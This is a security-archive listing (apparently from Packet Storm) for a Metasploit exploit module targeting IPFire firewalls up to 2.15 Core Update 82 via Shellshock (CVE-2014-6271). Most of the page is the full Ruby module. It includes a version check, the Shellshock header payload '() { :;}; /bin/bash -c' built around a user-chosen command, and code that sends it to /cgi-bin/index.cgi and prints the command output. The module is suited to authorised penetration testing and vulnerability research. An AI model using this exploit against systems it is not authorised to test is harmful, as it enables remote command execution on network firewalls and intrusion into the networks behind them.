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IPFire Bash Environment Variable Injection (Shellshock)

IPFire Bash Environment Variable Injection (Shellshock)
Posted Jun 9, 2016
Authored by h00die, Claudio Viviani | Site metasploit.com

IPFire, a free linux based open source firewall distribution, versions 2.15 Update Core 82 and below contain an authenticated remote command execution vulnerability via shellshock in the request headers.

tags | exploit, remote
systems | linux
advisories | CVE-2014-6271
MD5 | 346568e36e1b3865af232e9ca23aee0a

IPFire Bash Environment Variable Injection (Shellshock)

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##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)',
'Description' => %q(
IPFire, a free linux based open source firewall distribution,
version <= 2.15 Update Core 82 contains an authenticated remote
command execution vulnerability via shellshock in the request headers.
),
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # module
'Claudio Viviani' # discovery
],
'References' =>
[
[ 'EDB', '34839' ],
[ 'CVE', '2014-6271']
],
'License' => MSF_LICENSE,
'Platform' => %w( linux unix ),
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true,
'PAYLOAD' => 'cmd/unix/generic'
},
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 29 2014'
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
Opt::RPORT(444)
], self.class
)
end

def check
begin
res = send_request_cgi(
'uri' => '/cgi-bin/index.cgi',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

if version && update && version == "2.15" && update.to_i < 83
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end

#
# CVE-2014-6271
#
def cve_2014_6271(cmd)
%{() { :;}; /bin/bash -c "#{cmd}" }
end

def exploit
begin
payload = cve_2014_6271(datastore['CMD'])
vprint_status("Exploiting with payload: #{payload}")
res = send_request_cgi(
'uri' => '/cgi-bin/index.cgi',
'method' => 'GET',
'headers' => { 'VULN' => payload }
)

fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
/<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
print_good(output) unless output.nil?

rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
end
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